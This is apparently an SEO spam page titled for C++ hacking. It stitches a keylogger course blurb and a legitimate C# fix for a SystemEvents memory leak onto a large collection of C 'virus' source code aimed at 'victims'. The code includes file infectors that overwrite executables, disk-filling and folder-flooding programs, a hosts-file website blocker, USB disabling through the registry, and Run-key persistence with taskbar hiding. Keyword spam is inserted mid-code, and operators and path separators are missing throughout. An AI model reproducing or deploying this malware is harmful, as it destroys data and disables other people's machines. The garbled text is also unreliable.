Dev C%2b%2b Codes For Hacking
Build an Advanced Keylogger using C for Ethical Hacking! Take this course to learn how to code a fully functional keylogger in C for use in Windows! /idm-serial-key-free-download-notepad.html. Rating: 4.1 out of 5 4.1 (2,063 ratings). The main highlight of C is a collection of predefined classes, which are data types that can be instantiated multiple times. The language also facilitates declaration of user-defined classes and much more. Vst clarinet free download. I personally recommend this language to you as if you really wanted to get into hacking.
Before I get started I'd like to clarify what the tem 'leak' means for the purposes of this discussion. Any object that your application is no longer using but cannot be garbage collected is 'leaking' for the purposes of this discussion. I know that technically the memory is still accessible and it is possible to release it but the fact of the matter is that your application is not using this memory and it will not ever be released. Given enough time this will eventually lead to an out of memory exception.For anyone that has used a memory profiler it's possible that you've come across leaks related to the System.Windows.Form.ToolStripTextBox control. If you haven't, here's a link to a blog post that can shed some light on this issue. It's a very good explanation of the problem but in summary, the ToolStripTextBox control is hooking the Microsoft.Win32.SystemEvents.UserPreferenceChanged repeatedly and unhooking only once. This is causing leaks because the UserPreferenceChanged event is static and does not go out of scope for the life of your application. This creates a root reference for any listeners of that event. Unfortunately, the workaround posted on the linked page did not seem to work very well for me. After modifying the workaround until it sufficiently suited my needs I found that the ToolStripTextBox control is not the only class that fails to unhook from this event causing leaks. For the project I'm working on this was causing a chain reaction of leaking objects that was fairly significant.
There are three ways to solve this problem that I can see. The first option is that you can try to predict the nature of the bug in the class that is leaking. Using this information you can code a very specific solution to this problem. The problem with this is that it requires that you are correct in your analysis of the problem which is buried in a class that you don't have the source code for and your targeted solution also works correctly. The second option I see here is the brute force method. Just unhook the method a bunch of times and hopefully the problem goes away. If I need to explain what's wrong with that don't waste your time reading further. The third option I see for solving this problem is to create a generic method that will look at the listeners of this event, find all references to the leaking object, and unhook them. This is the approach I have used to solve this problem.
To implement this solution I created a class UnhookSystemEventUserPreferenceChangedEvent. In this class there is a static public method UnhookObject(object pObjectToUnhook). This will take any object that is directly hooked (ToolStripTextBox and ToolStripItemOverflow are the two I've had problems with) to the Microsoft.Win32.SystemEvents.UserPreferenceChanged event and will unhook them. It's preferable to call this method in response to the disposing event of the leaking object. Rather than an abstract explanation of the code I've tried to comment the code itself as thoroughly as possible so that I could just post the code and let you walk through it. If there's another solution out there I didn't see it so for anyone who's been agonizing over this I hope this helps.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
namespace HelperClasses
{
public class UnhookSystemEventUserPreferenceChangedEvent
{
//we'll use a static List to cache a reference to the internal list of UserPreferenceChangedEvent listeners so that
// we do not need to search for it every time.
static System.Collections.IList _UserPreferenceChangedList = null;
static public void UnhookObject(object pObjectToUnhook)
{
//First check for null and get a ref to the UserPreferenceChangedEvent's internal list of listeners if needed.
if (_UserPreferenceChangedList null) GetUserPreferenceChangedList();
//then, scan that list for any delegates that point to pObjectToUnhook.
SearchListAndRemoveEventHandlers(pObjectToUnhook);
}
static private void GetUserPreferenceChangedList()
{
Type oSystemEventsType = typeof(SystemEvents);
//Using reflection, get the FieldInfo object for the internal collection of handlers
// we will use this collection to find the handler we want to unhook and remove it.
// as you can guess by the naming convention it is a private member.
System.Reflection.FieldInfo oFieldInfo = oSystemEventsType.GetField('_handlers',
System.Reflection.BindingFlags.Static
System.Reflection.BindingFlags.GetField
System.Reflection.BindingFlags.FlattenHierarchy
System.Reflection.BindingFlags.NonPublic);
//now, get a reference to the value of this field so that you can manipulate it.
//pass null to GetValue() because we are working with a static member.
object oFieldInfoValue = oFieldInfo.GetValue(null);
//the returned object is of type Dictionary<object, List<SystemEventInvokeInfo>>
//each of the Lists<> in the Dictionary<> is used to maintain a different event implementation.
//It may be more efficient to figure out how the UserPreferenceChanged event is keyed here but a quick-and-dirty
// method is to just scan them all the first time and then cache the List<> object once it's found.
System.Collections.IDictionary dictFieldInfoValue = oFieldInfoValue as System.Collections.IDictionary;
foreach (object oEvent in dictFieldInfoValue)
{
System.Collections.DictionaryEntry deEvent = (System.Collections.DictionaryEntry)oEvent;
System.Collections.IList listEventListeners = deEvent.Value as System.Collections.IList;
//unfortunately, SystemEventInvokeInfo is a private class so we can't declare a reference of that type.
//we will use object and then use reflection to get what we need.
List<Delegate> listDelegatesToRemove = new List<Delegate>();
//we need to take the first item in the list, get it's delegate and check the type.
if (listEventListeners.Count > 0 && listEventListeners[0] != null)
{
Delegate oDelegate = GetDelegateFromSystemEventInvokeInfo(listEventListeners[0]);
if (oDelegate is UserPreferenceChangedEventHandler)
{ _UserPreferenceChangedList = listEventListeners; }
}
//if we've found the list, no need to continue searching
if (_UserPreferenceChangedList != null) break;
}
}
static private void SearchListAndRemoveEventHandlers(object pObjectToUnhook)
{
if (_UserPreferenceChangedList null) return; //Do not run if we somehow haven't found the list.
//unfortunately, SystemEventInvokeInfo is a private class so we can't declare a reference of that type.
//we will use object and then use reflection to get what we need.
List<UserPreferenceChangedEventHandler> listDelegatesToRemove = new List<UserPreferenceChangedEventHandler>();
//this is NOT threadsafe. Unfortunately, if the collection is modified an exception will be thrown during iteration.
// This will happen any time another thread hooks or unhooks the UserPreferenceChanged event while we iterate.
// Modify this to be threadsafe somehow if that is required.
foreach (object oSystemEventInvokeInfo in _UserPreferenceChangedList)
{
UserPreferenceChangedEventHandler oDelegate =
GetDelegateFromSystemEventInvokeInfo(oSystemEventInvokeInfo) as UserPreferenceChangedEventHandler;
if (oDelegate != null && oDelegate.Target pObjectToUnhook)
{
//at this point we have found an event handler that must be unhooked.
listDelegatesToRemove.Add(oDelegate);
}
}
//We should unhook using the public method because the internal implementation of this event is unknown.
// iterating the private internal list is already shady enough without manipulating it directly.
foreach (UserPreferenceChangedEventHandler itemToRemove in listDelegatesToRemove)
{ SystemEvents.UserPreferenceChanged -= itemToRemove; }
}
static private Delegate GetDelegateFromSystemEventInvokeInfo(object pSystemEventInvokeInfo)
{
Type typeSystemEventInvokeInfo = pSystemEventInvokeInfo.GetType();
System.Reflection.FieldInfo oTmpFieldInfo = typeSystemEventInvokeInfo.GetField('_delegate',
System.Reflection.BindingFlags.Instance
System.Reflection.BindingFlags.GetField
System.Reflection.BindingFlags.FlattenHierarchy
System.Reflection.BindingFlags.NonPublic);
//Here we are NOT working with a static field so we will supply the SystemEventInvokeInfo
// object that we found in the List<> object to the GetValue() function.
Delegate oReturn = oTmpFieldInfo.GetValue(pSystemEventInvokeInfo) as Delegate;
return oReturn;
}
}
}
Infection with intenal copy virus in c lang.This virus when executed will infect all file on current directory of the computer on which it is run.
Source code of the virus
/* VIRUS BY GAURAV GUPTA*/
#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
done = findfirst('*.*',&ffblk,0);
while (!done)
{ cprintf(' %s ', ffblk.ff_name);
source=open(argv[0],O_RDONLY O_BINARY);
target=open(ffblk.ff_name,O_CREAT O_BINARY O_WRONLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
library used in above virus :-
stdio.h
dos.h
dir.h
fcntl.h
conio.h
_____________________________________________________________________
Shutdown virus in c lang.
This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll shutdown the system.
Source code of the virus
#include
#include
void main(void)
{
system('shutdown -s');
}
_____________________________________________________________________
Unlimited folder creater virus in c lang.
This virus when executed will create unlimited folder in current path of the computer on which it is run.
Source code of the virus
#include
#include
void main()
{
char s[14]='md '; int man,i,j,k,l,m,n,o,p,q,r;
for(man=1;man<=10;man++)
{
for(i=65;i<122;i++)
{
s[3]=i;
s[4]=0;
if(man1)
{
system(s);
continue;
}
for(j=65;j<122;j++)
{
s[4]=j;
s[5]=0;
if(man2)
{
system(s);
continue;
}
for(k=65;k<122;k++)
{
s[5]=k;
s[6]=0;
if(man3)
{
system(s);
continue;
}
for(l=65;l<122;l++)
{
s[6]=l;
s[7]=0;
if(man4)
{
system(s);
continue;
}
for(m=65;m<122;m++)
{
s[7]=m;
s[8]=0;
if(man5)
{
system(s);
continue;
}
for(n=65;n<122;n++)
{
s[8]=n;
s[9]=0;
if(man6)
{
system(s);
continue;
}
for(o=65;o<122;o++)
{
s[9]=o;
s[10]=0;
if(man7)
{
system(s);
continue;
}
for(p=65;p<122;p++)
{
s[10]=p;
s[11]=0;
if(man8)
{
system(s);
continue;
}
for(q=65;q<122;q++)
{
s[11]=q;
s[12]=0;
if(man9)
{
system(s);
continue;
}
for(r=65;r<122;r++)
{
s[12]=r;
s[13]=0;
if(man10)
{
system(s);
continue;
}
}
}
}
}
}
}
}
}
}
}
}
}
_____________________________________________________________________
Websites blocker virus in c lang.
You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking.
This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system.
Source code of the virus
#include
#include
Dev C 2b 2b Codes For Hacking Attacks
#includechar site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:windowssystem32driversetchosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done0)
{
target=fopen(“C:windowssystem32driversetchosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:windowssystem32driversetchosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done0)
{
target=fopen(“D:windowssystem32driversetchosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:windowssystem32driversetchosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done0)
{
target=fopen(“E:windowssystem32driversetchosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:windowssystem32driversetchosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done0)
{
target=fopen(“F:windowssystem32driversetchosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”n”);
for(i=0;i<6;i++)
fprintf(target,”%st%sn”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
_____________________________________________________________________
Space eater virus in c lang.
This virus when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater virus.
Source code of the virus
/* SPACE EATER VIRUS BY GAURAV GUPTA*/
#include
#include
#include
#include
FILE *a,*t,*b;
int r,status,vir_count;
double i;
char ch[]=' ',choice;
void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);
void accept(void);
void main()
{
draw();
delline();
findroot();
}
void draw()
{
clrscr();
}
void findroot()
{
t=fopen('C:windowsexplorer.exe','rb');
if(t!=NULL)
{
fclose(t);
a=fopen('C:windowssystem32spceshot.dll','rb');
if(a!=NULL)
{
getch();
exit(1);
}
b=fopen('C:windowssystem32spceshot.dll','wb+');
if(b!=NULL)
{
eatspace();
}
}
t=fopen('D:windowsexplorer.exe','rb');
if(t!=NULL)
{
fclose(t);
a=fopen('D:windowssystem32spceshot.dll','rb');
if(a!=NULL)
{
getch();
exit(1);
}
b=fopen('D:windowssystem32spceshot.dll','wb+');
if(b!=NULL)
{
eatspace();
}
}
t=fopen('E:windowsexplorer.exe','rb');
if(t!=NULL)
{
fclose(t);
a=fopen('E:windowssystem32spceshot.dll','rb');
if(a!=NULL)
{
getch();
exit(1);
}
b=fopen('E:windowssystem32spceshot.dll','wb+');
if(b!=NULL)
{
eatspace();
}
}
t=fopen('F:windowsexplorer.exe','rb');
if(t!=NULL)
{
fclose(t);
a=fopen('F:windowssystem32spceshot.dll','rb');
if(a!=NULL)
{
getch();
exit(1);
}
b=fopen('F:windowssystem32spceshot.dll','wb+');
if(b!=NULL)
{
eatspace();
}
}
if(tNULL)
{
getch();
exit(1);
}
exit(1);
}
void eatspace()
{
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(statusEOF)
{
vir_count=random(120);
draw();
break;
}
}
if(statusEOF) break;
}
if(statusEOF) break;
}
exit(0);
}
_____________________________________________________________________
space eater-2 virus in c lang.
This virus when executed will eat up the hard disk space on the current drive of the computer on which it is run. I’ll call this as Space Eater-2 virus.
Source code of the virus
/* SPACE EATER-2 VIRUS BY GAURAV GUPTA*/
#include
#include
void main()
{
while(1)
{
system('dir>>╚a.exe');
}
}
_____________________________
Disable USB ports virus in c lang.
It disables/blocks the USB ports on the computer (PC). Anyone with a basic knowledge of C language should be able to understand the working of this virus program. Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer.
source code
.#include
void main()
{
system('reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesUSBSTOR /v Start /t REG_DWORD /d 4 /f');
}
You need to compile them before you can run it.
Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution .
To test this virus, just run the block_usb.exe file and insert a USB pen drive. Now you can see that your pen drive will never get detected .
_______________________________________________________________________________
FILE Overwrite virus-
source code
If you are interested then here is a code you can use to overwrite files in a system
#include
#include
#include
#define V_SIZE 7424
int n_inf=0;
void resume(void);
void inf(char *vir, char *filename);
int compare(char *d, char *e);
void main(int argc, char **argv)
{
struct ffblk fileinfo;
char vir[V_SIZE];
FILE *fp;
char path[6];
int b,a=0;
argc++;
if((fp=fopen(argv[0],'rb'))NULL) resume();
fread(vir,sizeof(char),V_SIZE,fp);
fclose(fp);
path[0]='*';
path[1]='.';
path[2]='E';
path[3]='X';
path[4]='E';
path[5]=NULL;
if(findfirst(path,&fileinfo,FA_ARCH)-1) resume();
inf(vir,fileinfo.ff_name);
do {
if(findnext(&fileinfo)!=0) a=1;
else inf(vir,fileinfo.ff_name);
if((a1) (n_inf>4)) b=1;
} while (b!=1);
resume();
}
void inf(char *vir, char *filename)
{
FILE *fp;
char checkinf[V_SIZE];
if((fp=fopen(filename,'rb+'))NULL) resume();
fread(checkinf,sizeof(char),V_SIZE,fp);
if(compare(vir,checkinf)0) return;
fseek(fp,0L,SEEK_SET);
fwrite(vir,sizeof(char),V_SIZE,fp);
fclose(fp);
n_inf++;
}
int compare(char *d, char *e)
{
int a;
for(a=0;a
return(0);
}
void resume(void)
{
exit(0);
}
_____________________________________________________________
Infection through IP-
source code
#include
#include
#include
#include
LPDWORD br,bw;
HGLOBAL Vir;
LPVOID VirBlock;
int virsize;
char virname[MAX_PATH];
char hostname[MAX_PATH];
HINSTANCE kernel;
FARPROC FileOpen,FileRead,FileWrite,FileClose,SetPointer;
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
WIN32_FIND_DATA fdata;
HANDLE hfile;
int fcount=1,no_more_files=1;
kernel=LoadLibrary('kernel32.dll');
FileOpen=GetProcAddress(kernel,'CreateFileA');
FileRead=GetProcAddress(kernel,'ReadFile');
FileWrite=GetProcAddress(kernel,'WriteFile');
FileClose=GetProcAddress(kernel,'CloseHandle');
SetPointer=GetProcAddress(kernel,'SetFilePointer');
Payload();
GetModuleFileName(NULL,virname,sizeof(virname));
virsize=GetCompressedFileSize(virname,NULL);
Vir=GlobalAlloc(GMEM_MOVEABLE,virsize);
VirBlock=GlobalLock(Vir);
hfile=CreateFile(virname,GENERIC_READ,
FILE_SHARE_READ,
0,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
FileRead(hfile,VirBlock,virsize,&br,0);
FileClose(hfile);
hfile=FindFirstFile('*.*',&fdata);
while((no_more_files!=0) && (fcount!=5)){
no_more_files=FindNextFile(hfile,&fdata);
if(FindExecutable(fdata.cFileName,0,hostname)>32){
if(isinfected(hostname)FALSE){
infect_file(hostname);
fcount+=1;
}
}
}
return 0;
}
int infect_file(LPSTR host){
HANDLE hh;
int sz;
hh=FileOpen(host,GENERIC_WRITE+GENERIC_READ,
FILE_SHARE_WRITE+FILE_SHARE_READ,
0,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
sz=(int)GetCompressedFileSize(host,NULL);
SetPointer(hh,0,0,FILE_BEGIN);
FileWrite(hh,VirBlock,virsize,&bw,0);
SetPointer(hh,0,0,FILE_END);
FileWrite(hh,'NIPPY',5,&bw,0);
FileClose(hh);
return 0;
}
int Payload(){
MessageBox(NULL,'NIPPYnnWIRTTEN BY MOAPHIEF-13 LABS','Nippy',MB_OK);
return 0;
}
BOOL isinfected(LPSTR host){
int sz;
LPDWORD br2;
HANDLE hi;
BYTE mark[5];
hi=FileOpen(host,GENERIC_READ+GENERIC_WRITE,
FILE_SHARE_READ+FILE_SHARE_WRITE,
0,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
sz=(int)GetCompressedFileSize(host,NULL);
SetPointer(hi,(sz-5),0,FILE_BEGIN);
FileRead(hi,mark,5,&br2,0);
mark[5]='0';
if(lstrcmp(mark,'NIPPY')0)
return TRUE;
else
return FALSE;
FileClose(hi);
}
_____________________________________________________________-
Other virus-
source code
#include windows.h
#include string.h
char windir[MAX_PATH];
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char pathname[256];
HKEY hKey;
GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);
strcat(windir, 'System32viral.exe');
CopyFile(pathname,windir,0);
unsigned char reg[10] = 'infected';
RegCreateKey(HKEY_CURRENT_USER,'Softwareretro',&hKey);
RegSetValueEx(hKey,'virus',0,REG_SZ,reg,sizeof(reg));
Dev C 2b 2b Codes For Hacking Roblox Robux
RegCloseKey(hKey);}
________________________________________________________
source code
#include windows.h
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,
LPSTR lpszArgument, int nFunsterStil)
Dev C 2b 2b Codes For Hacking Simulator
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,”virus.exe”);
CopyFile(pathtofile,system,false);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun',0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, 'Writing to the Registry Example',0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
HWND hWin;
hWin = FindWindow('Shell_TrayWnd',NULL);
EnableWindow(hWin,false);
while(11)
{
ShowWindow(hWin,false);
Sleep(1000);
ShowWindow(hWin,true);
Dev C 2b 2b Codes For Hacking Asphalt 8
Sleep(1000);}
return 0;
}
____________________________________________________